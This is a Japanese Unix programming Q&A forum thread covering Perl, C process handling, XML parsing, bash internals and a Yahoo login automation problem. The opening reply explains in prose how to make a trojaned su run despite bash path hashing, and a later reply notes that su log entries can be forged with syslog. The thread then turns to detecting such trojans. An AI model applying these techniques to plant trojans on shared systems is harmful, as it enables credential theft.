>>2954 kiki bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって みましたが、どうやら PATH=.:$PATH だと OK (/usr/bin/su が実行される) ですが PATH=/foo/bar:$PATH と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。 マニュアルを読む限りでは bash の仕様のような気がしますし、相対 パスのコマンドが hashing されていた場合は (カレントディレクトリが 移動しているかもしれないので) 再度 PATH を検索する、というのは 納得のいく挙動です。 # でも、もしかしたら bash のバグかもしれません。 解決策としては % shopt -s checkhash があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの su を作るという目的を第一に考えるのであれば、 1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 2. トロイ版 su の中で /usr/bin/su を exec する といったところでしょうが、普通は 2 のような気がします (作ったことないのでわからんけど)。 |
|
みなさん、計算の問題でフォローアップありがとうございます。 とりあえず Math::BigFloat で快適です。 3471943.48 および 3471943.488 という数を 0 と比較すると おかしいという現象があって一瞬ひやっとしましたけど、 5.005003 ではバグってるけど 5.6.0 では直ってるようでした。 ■ソース #! perl use Math::BigFloat; while (<DATA>) { chomp; $num = Math::BigFloat->new($_); if ($num >= 0) { print "$num is larger-equal than 0\n"; } else { print "$num is not larger-equal than 0\n"; } $cmp = $num->fcmp("0"); print "compare $num vs 0: $cmp\n"; } __DATA__ 3471943.488 3471943.48 3 ■5.005003 での実行結果 3471943.488 is not larger-equal than 0 compare 3471943.488 vs 0: -1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: -1 3. is larger-equal than 0 compare 3. vs 0: 1 ■5.6.0 での実行結果 3471943.488 is larger-equal than 0 compare 3471943.488 vs 0: 1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: 1 3. is larger-equal than 0 compare 3. vs 0: 1 |
|
>>2956 68user様 またお返事が送れて申し訳ありません.kikiです. お返事ありがとうございます.早速ためしてみます. この質問を通じて,いろいろ知らないこともわかったので その点でもとても勉強になりました. ありがとうございました. |
|
初めてになりますが、質問がありますので、お力添えをお願いします。 プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか? リダイレクトを使って、 time 実行するコマンド > ファイル名 としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。 |
|
>>2959 KENT1 お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、 てきとーに試してみてください。 /usr/bin/time ls >& file /usr/bin/time ls >file 2>&1 env TERM= csh -c "time ls" > file env TERM= bash -c "time ls" > file |
|
初めまして。初心者なので質問自体が意味不明かもしれませんが、 システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。 |
|
>>2961 1202 > ディスク使用量 statfs(2), fstatfs(2) > CPU使用量 プロセス単位の情報かシステムの情報を取るのかわかりませんが、 Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を 読むような API が用意されているかもしれませんが、わかりません。 後は man -k stat、man -k cpu、man -k disk などを活用してください。 |
|
>>2962 68user ありがとうございます。 早速試してみます。 |
|
kikiと申します. 68user様,先日はお世話になりました. お聞きしたいことがあります. 私は今,シェルでpsコマンドを打ち込んだら 標準出力で"psコマンドがうちこまれました." と出力させるプログラムを作ろうとしています. この時に,シェルからpsコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させたいのですが,このような事は,プロセス間通信や デーモンを使うのでしょうか? 皆様のアドバイスをよろしくお願い致します. また,簡単なデーモンのソースがあるページや, デーモンを作るにあたってやくだつページを ご存知でしたら教えてください. よろしくお願いします. |
|
>>2964 kiki 前にも書きましたが目的は何ですか? kiki さんの質問は いつも情報量が足りないと思います。 目的を書かないから前提条件がわからない。前提条件が わからないから、例えば 「利用者にばれてもいいのか」 「シェルのソースをいじるというのはアリなのか」 などもわからない (当然その答えによって解は異なります)。 > また,簡単なデーモンのソースがあるページ http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。 >>2961 1202 > dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が > 違ってくるので、、、 ちなみに僕ならば面倒なので GNU df を Solaris に 入れます (仕事であれば特に)。 |
|
2965>>68user様 毎回すみません. 目的は前回の質問でふれたsuトロイの痕跡の検出なんです. suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが, /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, suトロイをリアルタイムに近い形で検出できないか?と考えたのです. そこで,シェルからsuコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させ,suとコマンドが 実行されているようならば, /var/log/messageをみて,suの痕跡があるかどうかを調べれば 検出できるだろうと考えたのです. とりあえずsuコマンドが打ち込まれたかどうかを判定する 部分をまず作ろうと思いましたが,この時にプロセス間で データのやりとりが必要になったり,デーモンも使うのかな と思い,質問させていただきました. 「利用者にばれてもいいのか」 >はい,ばらせる事ができるならば是非そうしたいです. 「シェルのソースをいじるというのはアリなのか」 >はい,ありです. 毎回わかりづらい書き込みをして申し訳ありません. ご教授をお願い致します. |
|
>>2966 kiki 今度は検出なわけですね? > /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する ことはできますので、これだけでは正確に判断できません。 では他に判断する方法はあるかというと、決定的なものはないです。 結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ グラムと判断するか」に帰着するわけで。興味があればアンチウィルス ソフトがウィルスを検出する手段を調べてみるとよいでしょう。 で、それとは別に「どうやって su がタイプされたことを検出するか」という 話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ 「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行 しようとしているかどうか、というチェックをすればよいでしょう。 プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき ないなら、使う必要はないということです。 別の解としては、システムコールの発行を hook して安全性をチェック、 というのもありますが、UNIX でこういうのってできるのかなーと思って 調べてみたら、なんかできるようですね。 http://www.caj.co.jp/support/etrustac_faq.htm Q6: eTrust Access ControlのSoft Hook技術とは何ですか? カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を 置き換えているのか…(できるのかな?) # Windows なら SetWindowsHookEx で簡単なんですけど。 |
|
>>2967 68user様 お返事ありがとうございます. >syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って, syslogdにメッセージを渡すという事なのでしょうか? P.S. システムコールで見分ける,ですね. 確かに,suトロイと本物のsuだとやっている事はちがうから 見分けられるかも知れませんね.アドバイスありがとうございます. |
|
>>2967 68user様 何回も申し訳ありません.kikiです. >exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。 これは,システムコールのチェックを自動化させて行なえばよい, という事なのでしょうか? 基本的な事で申し訳ありません. |
|
いつもすいません、質問です。 以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。 カンタンにいうと、入れ子になったタグで囲まれた部分だけを 別ファイルに抜き出し、元ファイルからは削除する、です。 順序を保存して抜く方法と、 保存しないで抜く方法とあると思いますが、 どちらでもかまいません。 (前者の方がいいかなぁ、、) 入力ファイル: out1 <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> out2 <tag d> in6 <tag e> in7 </tag> in8 </tag> out3 <tag f> in9 </tag> out4 出力ファイル例1:(順序を保存して抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> <tag d> in6 <tag e> in7 </tag> in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 出力ファイル例2:(順序を保存しないで抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag c> in3 </tag> <tag b> in2 in4 </tag> <tag a> in1 in5 </tag> <tag e> in7 </tag> <tag d> in6 in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 よろしくお願いします。 |
|
補足です。 この tag というのは全部同じタグです。 ただオープンタグにかかれている a, b, ... という アトリビュートが全部違います。 |
|
さらに補足。(俺って説明下手だな、、;;; ファイルには <tag> 以外のタグも存在します。 <aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。 その中で下の処理の対象になるのが <tag> だけということです。 <tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、 それも抜いて書き出します。 問題の定義もなかなか奥が深い。 |
|
>>2969 kiki シェルって何をしているか知っていますか? 簡単に言うと、ユーザが 入力した文字列を解析し、execve(2) を実行することです。 シェルのソースをいじっていいのならば、execve(2) を発行している 部分を探して、そこで su を実行しようとしているかどうかのチェックを 行えばよいのでは、という話です。 >>2970 ふくし 入力が XML なら、 http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE の removeChild で一発なような気がします。 XML でないなら構文解析してスタックに積んで…といきたいところですが、 僕は軟弱なので - s|<tag .*?>.*?</tag>|| - 削除したのが足りなかった (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった) なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。 とします。 |
|
>>2967 68user > 別の解としては、システムコールの発行を hook して安全性をチェック、 > というのもありますが、UNIX でこういうのってできるのかなーと思って > 調べてみたら、なんかできるようですね。 > http://www.caj.co.jp/support/etrustac_faq.htm > Q6: eTrust Access ControlのSoft Hook技術とは何ですか? > カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を > 置き換えているのか…(できるのかな?) 最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。 詳しい人がいらっしゃったら教えてください。 全てのシステムコールは http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8 を経由するんじゃないかと思っているのですが、もしそれが正しいなら ここにチェック機能を入れた libc を用意して置き換えるか、あるいは LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。 どちらにせよアセンブラができないので、 http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html を買って勉強かな…。 |
|
>>2973 68user さん、ありがとうございます。 まさに xml で、そのパッケージすごく便利そうなんですが 使い方がよくわかりません ;;; でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。 |
|
>>2975 ふくし 別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が 幸せ度が高いかと。 # 僕は使ったことないですけど。 |
|
通りすがりのものですが・・・ システムコールをhookして安全性を云々というのは、 たとえば Systrace - Interactive Policy Generation for System Calls http://www.citi.umich.edu/u/provos/systrace/ こういったもののことでしょうか? (OpenBSD, NetBSD にはマージされています) |
|
X68000の、内臓フォントを利用するインターフェースを調べています。 フリーで有用な文書がありましたら教えていただけないでしょうか? >識者 なお当方X68000に関する知識は皆無でございます。 |
|
>>2960 68user様 報告が遅れまして申し訳ありません。 /usr/bin/time 実行コマンド >& 出力ファイル を実行した結果うまくいきました。ありがとうございました。 |
|
タグのパースの件です。 別解ですが、会社の若い者が作ったプログラムが無事動きました。 で、せっかくなので XML::DOM を入れようとしたら、 XML::Parser を入れよと言われたので、 XML::Parser を入れようとしたら、 expat を入れよと言われたので、 expat の tar.gz を解いて ./configure して Makefile を #prefix = /usr/local prefix = /henna_directory として make したら(ぼくは管理者でないので)、 gcc: unrecognized option `-R/henna_directory/lib' といわれました。ここで止まっています。 ちなみに /henna_directory/lib というディレクトリはあります。 (ついでにいうと、bin も include も man も) 待て次号。;;; |
|
>>2977 UMA > システムコールをhookして安全性を云々というのは、 はい、そういうものを念頭に置いていました (が、ユーザランドで できたらいいなと。無理なのかな)。 Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。 素晴らしいです。 >>2978 UMA 68user's page で X68000 の疑問が解決したことは一度もなかったりします。 インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に 頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で 聞くのが早いと思います。 >>2980 ふくし まーいろいろありますが、がんばってインストールしてください。 あと、libwww-perl あたりもいれなきゃいけないのが perl の XML モジュールのうざいところ。 |
|
>>2973 68user様 お返事ありがとうございます.kikiです. 丁寧なご説明ありがとうございました. おかげで理解できました.ありがとうございます. |
|
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。 TeraTerm 経由の mule などで PageUp が効かない場合、 Windows\Program Files\TTERMPRO\KEYBOARD.CNF の Remove=329 を ; でコメントアウトし、その下に User1=329 を追加。さらにファイルの一番最後に User1=329,0,$1B[5~ を追加。 って、ちょっと検索してみたら、 http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html の対処と全然違ってますな。なんでアレで PageUp できるんだろう。 |
|
OS: Solaris 2.5.1 プロセスの通知にシグナルを使っています。 これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、 今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。 そこで、質問なのですが <signal.h>にシグナルを追加できるのでしょうか? また、出来るとしたら注意しないといけない点や 影響を及ぼす範囲を教えて下さい。 よろしくお願いします。 |
|
>>2984 SIGNAL シグナルの追加はカーネルを書き換えないと無理です。 シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり をするのが正解でしょう。 と偉そうなことをいってますが、シグナルが足りず SIGXCPU を 使って逃げたことはあります。 |
|
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス が認識する方法があれば情報提供をお願いします。 ・親プロセスはwaitしません。 ・子プロセスは同じものが複数生成されます。(順次生成) ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。 理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果 が格納されるようなものです。 |
|
>>2986 koko > ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ > や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、 の方法を取らないのであれば、無理なんじゃないでしょうか。 |
|
>>2986 koko > ・親プロセスはwaitしません。 親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで チェックするのもダメですか? --- snip --- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/wait.h> void handler(int sig) { int pid,status,code; while((pid=waitpid(-1,&status,WNOHANG))>0) { if(WIFEXITED(status)) { code = WEXITSTATUS(status); printf("child process:[%d] was exited with code:[%d]\n",pid,code); } } } int main(int argc,char *argv[]) { int i,pid,code; char buf[16]; struct sigaction sa; if(argc>1) { code = atoi(argv[1]); srand(code+time(0)); sleep(rand()%10); return code; } memset(&sa,0,sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = handler; sigaction(SIGCHLD,&sa,0); for(i=0;i<10;i++) { if((pid=fork())<0) { perror("fork"); return -1; } if(pid) continue; sprintf(buf,"%d",i); if(execl("./a.out","./a.out",buf,0)<0) { perror("execl"); return -2; } } for(;;) sleep(1); return 0; /* never reaches */ } --- snip --- かなり適当ですが。 |
|
>>2988 hsj 他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。 試してみたいと思います。 >>2987 68user 今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に なるかと思います。 ご回答頂き、ありがとうございました。 |
|
>>2986 koko > ・親プロセスはwaitしません。 ってのは親プロセスにも手を入れたくないという意味かと思った のですが、wait でブロックさせたくないという意図だったのですね。 読み違えておりました。 |
|
こんにちは 質問があってきました Perlを使っていると system関数やexec関数を使うようになりました 便利でとてもよいのですが Root権限でコマンドが実行されているような気がします くわしくはまだ確認していません。 また、CGIでファイルマネージャーを使っていますが これも同じようにパスワードファイルなどを開かれるという欠点があります 全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし 一部だけのパーミッション設定もだめです 例)/homeを000にするが/home/userが777だとアクセスされてしまう これらのことからセキュリティーホールとなっていてとても不安です これらについての対処法はなにかないでしょうか? |
|
>>2991 Japper > Root権限でコマンドが実行されているような気がします perl スクリプト中で print "$<\n"; print "$>\n"; の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは 勘違いではないかと思います)。 > これも同じようにパスワードファイルなどを開かれるという欠点があります 書きかけですが、 http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html が参考になるかもしれません。 |
|
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、 ・・・・・・・・・・ブラウザのlog・・・・・・・・・ <ブラウザのPOST> POST /config/login?5934sjuoe8ci4 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Cookie: B=cv85agsv02md9&b=2 Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=cq4ce2ov02mdi .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=******** passwd=*********** <レスポンス> HTTP/1.1 302 Found Date: Thu, 19 Dec 2002 05:31:58 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie:**** Set-Cookie:**** Set-Cookie:**** ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・ このセッションがどうしても上手くいかず、3種のset-cookie が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ んが、下記に示します。 try{ URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4"); URLConnection uc = u.openConnection(); uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2); uc.setDoOutput(true); uc.setDoInput(true); OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP"); query.Encode3(".tries","1"); query.Encode1(".src","auc"); query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc"); query.Encode1("promo",""); *query.Encode()はクエリー文字列にするための関数です。 query.Encode1(".intl","jp"); query.Encode1(".bypass",""); query.Encode1(".partner",""); query.Encode1(".u",data2); query.Encode1(".v","0"); query.Encode1(".fUpdate","Y"); query.Encode1("hasMsgr","0"); query.Encode1(".chkP","Y"); query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus"); query.Encode1("login",ID); query.Encode1("passwd",PW); out.write(query.toString()); out.write("\r\n"); out.flush(); out.close(); /////////////(1)////////////////////////////// for (int j = 0; ; j++) { String header = uc.getHeaderField(j); if (header == null) break; System.out.println(uc.getHeaderFieldKey(j) + ": " + header); } } catch (Exception a) { System.err.println(a); } ちなみに(1)で出力されたヘッダ情報は null: HTTP/1.1 200 OK Date: Thu, 19 Dec 2002 07:16:58 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp 上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。 では、失礼します。 |
|
>>2993 ruku いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを POSTすれば行けるんじゃないでしょうか。 この手のwebアプリはログイン後の画面ではCookieだけでなく、 それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、 Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに 入れた)値とのクロスチェックでユーザを認証している場合があります。 YAHOO!オークションがどうなっているかは知りませんが、 その手の仕組みが組み込まれているんじゃないでしょうか。 |
|
>>2993 ruku うまくいかないときのアプローチとしては、まずはやっぱり telnet とか Socket で直接つなぐ方がいいんじゃないでしょうかね。 アクセスに成功する QUERY は知っているし、失敗する QUERY も 知っているわけで (よくわかってませんが、OutputStreamWriter に 細工をすればリクエストの生データが取れるんですよね? ) その 2つの内容をつきあわせて一つ一つチェックすると。ないとは 思いますが、もしかしたら USER_AGENT で制限かけてたりする かもしれませんし。 |
|
おひさしぶりです。kikiです。前回はお世話になりました。 今回もお聞きしたいことがあり、書き込ませていただきました。 今、私はbash(2.04)をいじって、以下のことが したいと思っているのです。それは 1.コマンドが実行された時間をそのコマンド履歴といっしょに 特定のファイルに出力する。(.bash_historyに タイムスタンプをつける感じです。 2.特定のファイルにコマンド履歴が追加されるタイミングを そのコマンドが打ち込まれた直後になるようにする。 このようなことはbashのソースを書き換えればできるのでしょうか? どうかご教授をよろしくお願い致します。 P.S. history -w の様なことを自動的にできればいいのですが、 historyコマンドは、シェル自身のコマンドなので無理でしょうし。 うーん。 |
|
>>2994 hsj 貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。 >>2995 68user ソケットで試してみます。貴重なアドバイスありがとうございました。 |
|
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら プログラムと同じになりました。次にlogを示します。 +++GET 457+++ POST /config/login?2v1pmh3i6v229 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=5g07ercv0d4tr .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=************* passwd=***************** +++RESP 457+++ HTTP/1.1 302 Found Date: Mon, 23 Dec 2002 04:40:38 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: ****** Set-Cookie: ****** Set-Cookie: ****** +++CLOSE 457+++ +++GET 458+++ GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Pragma: no-cache Connection: keep-alive Browser reload detected... +++RESP 458+++ HTTP/1.1 200 OK Date: Mon, 23 Dec 2002 04:40:38 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp +++CLOSE 458+++ cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理 しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか? |
|
>>2998 ruku 先ほど試しにncで > いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と > .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを > POSTすれば行けるんじゃないでしょうか。 をやってみたところ、問題なく3つのCookieが発行されました。 #ただし、最初のGETは/cofig/login?.src=aucに対して行いました。 なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。 |
|
> 2996 > このようなことはbashのソースを書き換えればできるのでしょうか? 入力を解析し、プロセスを実行しているのは bash なので、ソースに手を いれれば何でも可能です。 |